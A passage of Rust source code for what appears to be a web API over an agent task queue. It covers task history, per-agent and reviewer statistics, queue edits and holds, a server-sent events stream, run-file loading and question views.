6469 slots.sort_by_key(|(_, _, _, position)| *position);
6470 }
6471 let mut history = Vec::with_capacity(slots.len());
6472 let mut seen: Vec<&str> = Vec::new();
6473 let mut prior: Option<(&str, RunStatus)> = None;
6474 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6475 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6476 let resumed = k > 0;
6477 seen.push(run_id);
6478 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6479 let pass = pass.as_ref();
6480 let settled = pass.and_then(|p| {
6481 task.passes
6482 .iter()
6483 .find(|t| t.run == **run_id && t.pass_index == p.index)
6484 });
6485 history.push(task_run_view(
6486 run_id,
6487 state.as_ref(),
6488 RunSlot {
6489 n: i + 1,
6490 resumed,
6491 resumed_later: slots[i + 1..]
6492 .iter()
6493 .position(|(id, _, _, _)| id == run_id)
6494 .map(|off| i + off + 2),
6495 prior,
6496 last: i + 1 == slots.len(),
6497 pass,
6498 settled,
6499 pass_n: k + 1,
6500 passes_of_run: total,
6501 },
6502 task,
6503 ));
6504 if let Some(s) = &state {
6505 prior = Some((run::short_of(run_id), s.status));
6506 }
6507 }
6508 history
6509}
6510
6511fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6514 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6515 return;
6516 }
6517 let (_, claimed, _) = run_row_inputs(ui);
6518 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6519 for h in history
6520 .iter_mut()
6521 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6522 {
6523 let Ok(state) = read_run(&ui.runs, &h.id) else {
6524 continue;
6525 };
6526 if state.status.done() {
6527 continue;
6528 }
6529 let live = state.liveness_with(
6530 claimed.contains(&h.id),
6531 |p| probe.borrow_mut().status(p),
6532 |p| probe.borrow_mut().started_at(p),
6533 );
6534 let waiting = !ui.questions.open_for(&h.id).is_empty();
6535 let display = run_display_status(&state, waiting, live);
6536 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6537 if matches!(word.as_str(), "stale" | "superseded")
6538 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6539 {
6540 h.badge = Some(word);
6541 }
6542 }
6543}
6544
6545async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6546 blocking(move || {
6547 let id = resolve_task(&ui.queue, &id)?;
6548 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6549 })
6550 .await
6551}
6552
6553async fn task_detail(
6554 State(ui): State<Arc<Ui>>,
6555 Path(id): Path<String>,
6556) -> ApiResult<Json<TaskDetailView>> {
6557 blocking(move || {
6558 let id = resolve_task(&ui.queue, &id)?;
6559 let task = ui
6560 .queue
6561 .get(&id)
6562 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6563 let inv = if task.status == TaskStatus::Blocked {
6564 Some(crate::blockers::Inventory::load_for(
6565 &ui.queue,
6566 &ui.questions,
6567 &task,
6568 ))
6569 } else {
6570 None
6571 };
6572 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6573 mark_badges(&ui, &task, &mut history);
6574 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6575 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6576 let origin = task.followup.as_ref().map(|fu| {
6577 followup_origin(
6578 fu,
6579 |tid| ui.queue.get(tid).ok(),
6580 |rid| read_run(&ui.runs, rid).ok(),
6581 )
6582 });
6583 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6584 let task_view = match inv.as_ref() {
6585 Some(inv) => TaskView::with_inventory(task, inv),
6586 None => TaskView::from(task),
6587 };
6588 Ok(Json(TaskDetailView {
6589 max_attempts,
6590 flow,
6591 followup_origin: origin,
6592 passes_total: history.len(),
6593 runs_distinct: distinct_runs(&task_view.task.runs),
6594 history,
6595 runs_unreadable,
6596 attempts_note: ATTEMPTS_NOTE,
6597 task: task_view,
6598 }))
6599 })
6600 .await
6601}
6602
6603#[derive(Debug, Serialize)]
6607struct RateView {
6608 pct: f64,
6609 denominator: usize,
6610}
6611
6612impl RateView {
6613 fn of(numerator: usize, denominator: usize) -> Option<Self> {
6614 (denominator > 0).then(|| Self {
6615 pct: 100.0 * numerator as f64 / denominator as f64,
6616 denominator,
6617 })
6618 }
6619}
6620
6621#[derive(Debug, Serialize)]
6626struct StatsTotalsView {
6627 runs: usize,
6628 merged: usize,
6629 ready: usize,
6630 blocked: usize,
6631 failed: usize,
6632 stalled: usize,
6633 verified_noop: usize,
6634 superseded: usize,
6635 in_progress: usize,
6636 completion_rate: Option<RateView>,
6637 tallied: usize,
6638 split: usize,
6639 split_rate: Option<RateView>,
6640 deliberated: usize,
6641 minds_changed: usize,
6642 converged: usize,
6643 review_rounds: usize,
6644}
6645
6646impl From<&stats::Totals> for StatsTotalsView {
6647 fn from(t: &stats::Totals) -> Self {
6648 Self {
6649 runs: t.runs,
6650 merged: t.merged,
6651 ready: t.ready,
6652 blocked: t.blocked,
6653 failed: t.failed,
6654 stalled: t.stalled,
6655 verified_noop: t.verified_noop,
6656 superseded: t.superseded,
6657 in_progress: t.in_progress,
6658 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6659 tallied: t.tallied,
6660 split: t.split,
6661 split_rate: RateView::of(t.split, t.tallied),
6662 deliberated: t.deliberated,
6663 minds_changed: t.minds_changed,
6664 converged: t.converged,
6665 review_rounds: t.review_rounds,
6666 }
6667 }
6668}
6669
6670#[derive(Debug, Serialize)]
6672struct AgentStatsView {
6673 agent: String,
6674 entered: usize,
6675 wins: usize,
6676 empty: usize,
6677 win_rate: Option<RateView>,
6678 competitive_entered: usize,
6679 competitive_wins: usize,
6680 competitive_win_rate: Option<RateView>,
6681 solo_entered: usize,
6682 solo_adopted: usize,
6683 solo_adoption_rate: Option<RateView>,
6684}
6685
6686impl From<&stats::AgentStats> for AgentStatsView {
6687 fn from(a: &stats::AgentStats) -> Self {
6688 Self {
6689 agent: a.agent.clone(),
6690 entered: a.entered,
6691 wins: a.wins,
6692 empty: a.empty,
6693 win_rate: RateView::of(a.wins, a.entered),
6694 competitive_entered: a.competitive_entered,
6695 competitive_wins: a.competitive_wins,
6696 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6697 solo_entered: a.solo_entered,
6698 solo_adopted: a.solo_adopted,
6699 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6700 }
6701 }
6702}
6703
6704#[derive(Debug, Serialize)]
6708struct ReviewerStatsView {
6709 agent: String,
6710 rounds: usize,
6711 seated: usize,
6712 submitted: usize,
6713 adopted: usize,
6714 unique: usize,
6715 timeouts: usize,
6716 adopted_per_round: Option<f64>,
6717 precision: Option<RateView>,
6718 unique_rate: Option<RateView>,
6719 timeout_rate: Option<RateView>,
6720}
6721
6722impl From<&stats::ReviewerStats> for ReviewerStatsView {
6723 fn from(r: &stats::ReviewerStats) -> Self {
6724 Self {
6725 agent: r.agent.clone(),
6726 rounds: r.rounds,
6727 seated: r.seated,
6728 submitted: r.submitted,
6729 adopted: r.adopted,
6730 unique: r.unique,
6731 timeouts: r.timeouts,
6732 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6733 precision: RateView::of(r.adopted, r.submitted),
6734 unique_rate: RateView::of(r.unique, r.submitted),
6735 timeout_rate: RateView::of(r.timeouts, r.seated),
6736 }
6737 }
6738}
6739
6740#[derive(Debug, Serialize)]
6746struct AdvisorStatsView {
6747 agent: String,
6748 seated: usize,
6749 proposed: usize,
6750 absent: usize,
6751 faint: usize,
6752 strong: usize,
6753 reflection_rate: Option<RateView>,
6754}
6755
6756impl From<&stats::AdvisorStats> for AdvisorStatsView {
6757 fn from(a: &stats::AdvisorStats) -> Self {
6758 Self {
6759 agent: a.agent.clone(),
6760 seated: a.seated,
6761 proposed: a.proposed,
6762 absent: a.absent,
6763 faint: a.faint,
6764 strong: a.strong,
6765 reflection_rate: RateView::of(a.strong, a.proposed),
6766 }
6767 }
6768}
6769
6770#[derive(Debug, Serialize)]
6772struct E2eStatsView {
6773 rounds: usize,
6774 failures: usize,
6775 sole_detections: usize,
6776 deferred: usize,
6777 sole_rate: Option<RateView>,
6778}
6779
6780impl From<&stats::E2eStats> for E2eStatsView {
6781 fn from(e: &stats::E2eStats) -> Self {
6782 Self {
6783 rounds: e.rounds,
6784 failures: e.failures,
6785 sole_detections: e.sole_detections,
6786 deferred: e.deferred,
6787 sole_rate: RateView::of(e.sole_detections, e.failures),
6788 }
6789 }
6790}
6791
6792#[derive(Debug, Serialize)]
6800struct ReleaseBumpStatsView {
6801 merged: usize,
6802 recorded: usize,
6803 pr_opened: usize,
6804 automerge_enabled: usize,
6805 merged_directly: usize,
6806 needs_attention: usize,
6807 clean: usize,
6808 coverage_rate: Option<RateView>,
6809 automerge_rate: Option<RateView>,
6810 attention_rate: Option<RateView>,
6811}
6812
6813impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6814 fn from(b: &stats::ReleaseBumpStats) -> Self {
6815 Self {
6816 merged: b.merged,
6817 recorded: b.recorded,
6818 pr_opened: b.pr_opened,
6819 automerge_enabled: b.automerge_enabled,
6820 merged_directly: b.merged_directly,
6821 needs_attention: b.needs_attention,
6822 clean: b.clean(),
6823 coverage_rate: RateView::of(b.recorded, b.merged),
6824 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6825 attention_rate: RateView::of(b.needs_attention, b.recorded),
6826 }
6827 }
6828}
6829
6830#[derive(Debug, Serialize)]
6832struct TaskCountsView {
6833 queued: usize,
6834 running: usize,
6835 done: usize,
6836 failed: usize,
6837 held: usize,
6838 blocked: usize,
6839 parked: usize,
6840}
6841
6842impl From<crate::queue::TaskCounts> for TaskCountsView {
6843 fn from(c: crate::queue::TaskCounts) -> Self {
6844 Self {
6845 queued: c.queued,
6846 running: c.running,
6847 done: c.done,
6848 failed: c.failed,
6849 held: c.held,
6850 blocked: c.blocked,
6851 parked: c.parked,
6852 }
6853 }
6854}
6855
6856#[derive(Debug, Serialize)]
6862struct RepoSummaryView {
6863 repo: String,
6866 name: String,
6868 runs: usize,
6869 completion_rate: Option<RateView>,
6870}
6871
6872impl From<&stats::RepoStats> for RepoSummaryView {
6873 fn from(r: &stats::RepoStats) -> Self {
6874 let t = &r.stats.totals;
6875 Self {
6876 repo: r.repo.to_string_lossy().into_owned(),
6877 name: r.name.clone(),
6878 runs: t.runs,
6879 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6880 }
6881 }
6882}
6883
6884#[derive(Debug, Serialize)]
6890struct StatsView {
6891 totals: StatsTotalsView,
6892 agents: Vec<AgentStatsView>,
6894 reviewers: Vec<ReviewerStatsView>,
6896 advisors: Vec<AdvisorStatsView>,
6898 e2e: E2eStatsView,
6899 release_bumps: ReleaseBumpStatsView,
6900 queue: Option<TaskCountsView>,
6901 runs_unreadable: usize,
6911 repos: Vec<RepoSummaryView>,
6915 daily: Vec<DailyStatsView>,
6920 repo: Option<String>,
6924 retired_hidden: Vec<String>,
6928}
6929
6930#[derive(Debug, Serialize)]
6932struct DailyStatsView {
6933 date: String,
6935 runs: usize,
6936 merged: usize,
6937 ready: usize,
6938 other: usize,
6939 completion_rate: Option<RateView>,
6941}
6942
6943impl From<&stats::DayBucket> for DailyStatsView {
6944 fn from(b: &stats::DayBucket) -> Self {
6945 Self {
6946 date: b.date.to_string(),
6947 runs: b.runs,
6948 merged: b.merged,
6949 ready: b.ready,
6950 other: b.other,
6951 completion_rate: RateView::of(b.merged + b.ready, b.runs),
6952 }
6953 }
6954}
6955
6956const STATS_DAILY_DAYS: usize = 30;
6958
6959#[derive(Debug, Default, Deserialize)]
6968#[serde(default)]
6969struct StatsQuery {
6970 repo: Option<String>,
6971 all: bool,
6973 runs_only: bool,
6975}
6976
6977async fn stats_get(
6984 State(ui): State<Arc<Ui>>,
6985 Query(q): Query<StatsQuery>,
6986) -> ApiResult<Json<StatsView>> {
6987 blocking(move || {
6988 let states: Vec<RunState> = run_ids(&ui.runs)
6989 .into_iter()
6990 .filter_map(|id| read_run(&ui.runs, &id).ok())
6991 .collect();
6992 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6993 .iter()
6994 .map(RepoSummaryView::from)
6995 .collect();
6996 let mut scoped: Vec<&RunState> = states.iter().collect();
6997 let mut collected = match &q.repo {
6998 Some(repo) => {
6999 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7000 if filtered.is_empty() {
7001 return Err(ApiError::not_found(format!(
7002 "no runs recorded against repo `{repo}`"
7003 )));
7004 }
7005 scoped = filtered.clone();
7006 stats::collect_refs(filtered)
7007 }
7008 None => stats::collect(&states),
7009 };
7010 if !q.all {
7011 let repo = q
7012 .repo
7013 .as_deref()
7014 .map_or_else(|| ui.repo.clone(), PathBuf::from);
7015 stats::retain_current_roster(&mut collected, &repo);
7016 }
7017 let daily = stats::daily(
7018 scoped,
7019 jiff::Zoned::now().date(),
7020 &jiff::tz::TimeZone::system(),
7021 STATS_DAILY_DAYS,
7022 );
7023 let queue_counts = (!q.runs_only)
7024 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7025 Ok(Json(StatsView {
7026 totals: StatsTotalsView::from(&collected.totals),
7027 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7028 reviewers: collected
7029 .reviewers
7030 .iter()
7031 .map(ReviewerStatsView::from)
7032 .collect(),
7033 advisors: collected
7034 .advisors
7035 .iter()
7036 .map(AdvisorStatsView::from)
7037 .collect(),
7038 e2e: E2eStatsView::from(&collected.e2e),
7039 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7040 queue: queue_counts,
7041 runs_unreadable: runs_unreadable(&ui.runs),
7042 repos,
7043 daily: daily.iter().map(DailyStatsView::from).collect(),
7044 repo: q.repo.clone(),
7045 retired_hidden: collected.retired_hidden.clone(),
7046 }))
7047 })
7048 .await
7049}
7050
7051#[derive(Debug, Default, Deserialize)]
7054#[serde(default, deny_unknown_fields)]
7055struct HoldBody {
7056 reason: Option<String>,
7057}
7058
7059async fn queue_hold(
7060 State(ui): State<Arc<Ui>>,
7061 Path(id): Path<String>,
7062 body: std::result::Result<Json<HoldBody>, JsonRejection>,
7063) -> ApiResult<Json<TaskView>> {
7064 let body = match body {
7068 Ok(Json(body)) => body,
7069 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7070 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7071 };
7072 let reason = body.reason.filter(|r| !r.trim().is_empty());
7073 mutate(ui, id, move |t| {
7074 t.hold_manual(reason.clone());
7075 Ok(())
7076 })
7077 .await
7078}
7079
7080async fn queue_release(
7081 State(ui): State<Arc<Ui>>,
7082 Path(id): Path<String>,
7083) -> ApiResult<Json<TaskView>> {
7084 mutate(ui, id, |t| {
7085 t.release_operator("web", None);
7086 Ok(())
7087 })
7088 .await
7089}
7090
7091#[derive(Debug, Deserialize)]
7092#[serde(deny_unknown_fields)]
7093struct AttemptLimitBody {
7094 attempt_limit: serde_json::Value,
7096}
7097
7098async fn queue_attempt_limit(
7099 State(ui): State<Arc<Ui>>,
7100 Path(id): Path<String>,
7101 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7102) -> ApiResult<Json<TaskView>> {
7103 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7104 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7105 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7106 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7107}
7108
7109#[derive(Debug, Deserialize)]
7110#[serde(deny_unknown_fields)]
7111struct ImplementersBody {
7112 implementers: u8,
7113}
7114
7115async fn queue_implementers(
7116 State(ui): State<Arc<Ui>>,
7117 Path(id): Path<String>,
7118 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7119) -> ApiResult<Json<TaskView>> {
7120 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7121 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7122}
7123
7124#[derive(Debug, Deserialize)]
7125#[serde(deny_unknown_fields)]
7126struct UrgentBody {
7127 urgent: bool,
7128}
7129
7130async fn queue_urgent(
7131 State(ui): State<Arc<Ui>>,
7132 Path(id): Path<String>,
7133 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7134) -> ApiResult<Json<TaskView>> {
7135 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7136 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7137}
7138
7139#[derive(Debug, Deserialize)]
7141#[serde(deny_unknown_fields)]
7142struct PriorityBody {
7143 priority: i32,
7144}
7145
7146async fn queue_priority(
7152 State(ui): State<Arc<Ui>>,
7153 Path(id): Path<String>,
7154 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7155) -> ApiResult<Json<TaskView>> {
7156 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7157 mutate(ui, id, move |t| t.set_priority(body.priority)).await
7158}
7159
7160#[derive(Debug, Deserialize)]
7162#[serde(deny_unknown_fields)]
7163struct EditBody {
7164 title: String,
7165 instruction: String,
7166 #[serde(default)]
7169 force: bool,
7170}
7171
7172async fn queue_edit(
7176 State(ui): State<Arc<Ui>>,
7177 Path(id): Path<String>,
7178 body: std::result::Result<Json<EditBody>, JsonRejection>,
7179) -> ApiResult<Json<TaskView>> {
7180 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7181 let mut judged: Option<(String, PathBuf)> = None;
7185 if !body.force {
7186 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7187 let (id, text) = (id.clone(), body.instruction.clone());
7188 let (seen, hits) = blocking(move || {
7189 let id = resolve_task(&queue, &id)?;
7190 let t = queue.get(&id)?;
7191 if text == t.instruction {
7192 return Ok((None, Vec::new()));
7193 }
7194 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7195 Ok((Some((t.instruction, t.repo)), hits))
7196 })
7197 .await?;
7198 if let Some((_, repo)) = &seen {
7199 let cfg = crate::config::Config::discover(repo, None)
7200 .ok()
7201 .map(|(c, _)| c);
7202 let screened =
7203 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7204 .await
7205 .map_err(|dup| {
7206 ApiError::conflict(dup.render(
7207 "Nothing was saved. If it is not a duplicate, repeat the request \
7208 with \"force\": true.",
7209 ))
7210 })?;
7211 if let crate::dupes::Screened::Unjudged(why) = screened {
7212 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7213 }
7214 }
7215 judged = seen;
7216 }
7217 let force = body.force;
7218 mutate(ui, id, move |t| {
7219 if !force && body.instruction != t.instruction {
7220 match &judged {
7221 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7222 _ => {
7223 anyhow::bail!("the task changed while it was being checked; repeat the request")
7224 }
7225 }
7226 }
7227 t.edit(body.title.clone(), body.instruction.clone())
7228 })
7229 .await
7230}
7231
7232async fn queue_done(
7240 State(ui): State<Arc<Ui>>,
7241 Path(id): Path<String>,
7242) -> ApiResult<Json<TaskView>> {
7243 let home = ui.home.clone();
7244 mutate(ui, id, move |t| {
7245 t.succeed();
7246 crate::daemon::supersede_prior_runs(t, &home);
7254 Ok(())
7255 })
7256 .await
7257}
7258
7259async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7267 blocking(move || {
7268 let id = resolve_task(&ui.queue, &id)?;
7269 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7270 ui.queue
7271 .remove(&id, in_flight, &ui.questions)
7272 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7273 Ok(StatusCode::NO_CONTENT)
7274 })
7275 .await
7276}
7277
7278async fn mutate(
7287 ui: Arc<Ui>,
7288 id: String,
7289 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7290) -> ApiResult<Json<TaskView>> {
7291 blocking(move || {
7292 let id = resolve_task(&ui.queue, &id)?;
7293 let _claim = ui.queue.claim(&id).map_err(|e| {
7298 ApiError::conflict(format!(
7299 "{e:#} - a daemon is running this task, so it cannot be \
7300 changed from here yet; wait until it is released, then retry"
7301 ))
7302 })?;
7303 let mut task = ui.queue.get(&id)?;
7304 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7305 Ok(dup) => ApiError::conflict(dup.render(
7306 "Nothing was saved. If it is not a duplicate, repeat the request with \
7307 \"force\": true.",
7308 )),
7309 Err(e) => ApiError::bad_request_from(e),
7310 })?;
7311 ui.queue.put(&mut task)?;
7312 Ok(Json(TaskView::from(task)))
7313 })
7314 .await
7315}
7316
7317async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7322 ui.monitor.ensure_worker(&ui);
7323 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7324 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7325
7326 let state = Arc::clone(&ui);
7327 tokio::spawn(async move {
7328 let initial_revisions = {
7329 let guard = match state.monitor.latest.lock() {
7330 Ok(g) => g,
7331 Err(p) => p.into_inner(),
7332 };
7333 guard.as_ref().map(|(r, _)| *r)
7334 };
7335 if let Some(revisions) = initial_revisions {
7336 let initial_payload = serde_json::json!({
7337 "queue_rev": revisions.0,
7338 "runs_rev": revisions.1,
7339 "questions_rev": revisions.2,
7340 "talks_rev": revisions.3,
7341 "notifications_rev": revisions.4,
7342 "loop_rev": revisions.5,
7343 });
7344
7345 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7346 if tx.send(event).await.is_err() {
7347 return;
7348 }
7349 }
7350 }
7351
7352 loop {
7353 match tokio::select! {
7354 _ = tx.closed() => return,
7355 value = broadcast_rx.recv() => value,
7356 } {
7357 Ok(notif) => {
7358 let Ok(event) = Event::default().event("change").json_data(notif.payload)
7359 else {
7360 break;
7361 };
7362 if tx.send(event).await.is_err() {
7363 break;
7364 }
7365 }
7366 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7367 let revs = {
7368 let guard = match state.monitor.latest.lock() {
7369 Ok(g) => g,
7370 Err(p) => p.into_inner(),
7371 };
7372 guard.as_ref().map(|(r, _)| *r)
7373 };
7374 if let Some(revs) = revs {
7375 let payload = serde_json::json!({
7376 "queue_rev": revs.0,
7377 "runs_rev": revs.1,
7378 "questions_rev": revs.2,
7379 "talks_rev": revs.3,
7380 "notifications_rev": revs.4,
7381 "loop_rev": revs.5,
7382 });
7383 if let Ok(event) = Event::default().event("change").json_data(payload) {
7384 if tx.send(event).await.is_err() {
7385 break;
7386 }
7387 }
7388 }
7389 }
7390 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7391 break;
7392 }
7393 }
7394 }
7395 });
7396
7397 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7398 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7399}
7400
7401fn run_ids(runs: &FsPath) -> Vec<String> {
7407 let mut ids: Vec<String> = std::fs::read_dir(runs)
7408 .into_iter()
7409 .flatten()
7410 .flatten()
7411 .filter(|e| e.path().join("run.json").is_file())
7412 .map(|e| e.file_name().to_string_lossy().into_owned())
7413 .collect();
7414 ids.sort_unstable_by(|a, b| b.cmp(a));
7416 ids
7417}
7418
7419fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7421 let path = runs.join(id).join("run.json");
7422 let body =
7423 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7424 let state: RunState =
7425 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7426 run::migrate_schema(state)
7431}
7432
7433#[must_use]
7441pub fn runs_unreadable(runs: &FsPath) -> usize {
7442 run_ids(runs)
7443 .into_iter()
7444 .filter(|id| read_run(runs, id).is_err())
7445 .count()
7446}
7447
7448fn plain_record_id(id: &str) -> bool {
7449 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7450}
7451
7452fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7454 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7455 return Ok(id.to_owned());
7456 }
7457 pick(run_ids(runs), id, "run")
7458}
7459
7460fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7462 if plain_record_id(id) && queue.path_of(id).is_file() {
7463 return Ok(id.to_owned());
7464 }
7465 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7466 pick(ids, id, "task")
7467}
7468
7469#[derive(Debug, Serialize)]
7480struct QuestionView {
7481 choice_effects: std::collections::BTreeMap<String, String>,
7482 record_revision: String,
7483 #[serde(flatten)]
7484 question: Question,
7485 detail_md: Vec<md::Node>,
7486 posting_view: Option<PostingView>,
7487 thread_bodies_md: Vec<Vec<md::Node>>,
7489 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7492 waiting_on_agent: bool,
7502 holder: Option<&'static str>,
7506 deputies_enabled: bool,
7510 deputy_exhausted: bool,
7513 text_delivery: crate::question_delivery::Availability,
7514 run_is_task: bool,
7517 origin_chat: Option<String>,
7520 origin_chat_closed: bool,
7522 can_consult_chat: bool,
7524}
7525
7526#[derive(Debug, Serialize)]
7527struct PostingView {
7528 before_md: Vec<md::Node>,
7529 after_md: Vec<md::Node>,
7530 fields: Vec<crate::github_text::ComparisonView>,
7531}
7532
7533fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7534 let comparison = question.posting_comparison.as_ref()?;
7535 if !comparison.matches_detail(&question.detail) {
7536 return None;
7537 }
7538 let mut ids = std::collections::BTreeSet::new();
7539 if comparison.fields.is_empty()
7540 || comparison
7541 .fields
7542 .iter()
7543 .flat_map(|f| &f.pairs)
7544 .any(|p| !ids.insert(p.id))
7545 || comparison
7546 .fields
7547 .iter()
7548 .flat_map(|f| &f.original_triggers)
7549 .any(|t| !ids.insert(t.id))
7550 {
7551 return None;
7552 }
7553 let fields = comparison
7554 .fields
7555 .iter()
7556 .map(|f| f.view(comparison.excerpt))
7557 .collect::<Option<Vec<_>>>()?;
7558 Some(PostingView {
7559 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7560 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7561 fields,
7562 })
7563}
7564
7565impl QuestionView {
7566 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7570 let base = md::ImageBase::QuestionPanel {
7571 id: question.id.clone(),
7572 };
7573 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7574 Self {
7575 choice_effects: question
7576 .choices
7577 .iter()
7578 .filter_map(|c| {
7579 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7580 })
7581 .collect(),
7582 record_revision: question_record_revision(&question),
7583 detail_md: md::to_nodes(&question.detail, &base),
7584 posting_view: posting_view(&question, &base),
7585 thread_bodies_md: question
7586 .thread
7587 .iter()
7588 .map(|t| md::to_nodes(&t.body, &base))
7589 .collect(),
7590 thread_notes_md: question
7591 .thread
7592 .iter()
7593 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7594 .collect(),
7595 deputy_exhausted: store.deputy_exhausted(&question),
7596 waiting_on_agent: question.waiting_on_agent(),
7597 holder,
7598 deputies_enabled: deputies_enabled(cfg, &question),
7599 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7600 run_is_task: question.run_names_task(),
7601 origin_chat: None,
7602 origin_chat_closed: false,
7603 can_consult_chat: false,
7604 question,
7605 }
7606 }
7607
7608 fn with_origin(
7610 mut self,
7611 tasks: &[crate::queue::Task],
7612 talks: &[Talk],
7613 watches: &[crate::release_watch::WatchState],
7614 ) -> Self {
7615 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7616 self.can_consult_chat = consult.is_some();
7617 let talk =
7618 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7619 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7620 self.origin_chat = talk.map(|t| t.id);
7621 self
7622 }
7623}
7624
7625fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7629 Config::discover(repo, None).ok().map(|(c, _)| c)
7630}
7631
7632fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7634 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7635}
7636
7637fn question_views(
7640 qs: Vec<Question>,
7641 store: &ask::Questions,
7642 load: impl FnOnce() -> Option<Config>,
7643) -> Vec<QuestionView> {
7644 if qs.is_empty() {
7645 return Vec::new();
7646 }
7647 let cfg = load();
7648 qs.into_iter()
7649 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7650 .collect()
7651}
7652
7653fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7663 if !q.status.open() {
7664 return None;
7665 }
7666 if q.cwd.is_none()
7667 && q.deputy.is_none()
7668 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7669 {
7670 return crate::deputy::kind_of(q).map(|_| "nobody");
7671 }
7672 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7673 Some(_) if q.deputy.is_some() => "deputy",
7674 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7675 Some(_) => "asker",
7676 None => "nobody",
7677 })
7678}
7679
7680async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7686 blocking(move || {
7687 let questions = ui.questions.list();
7688 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7689 Ok(Json(
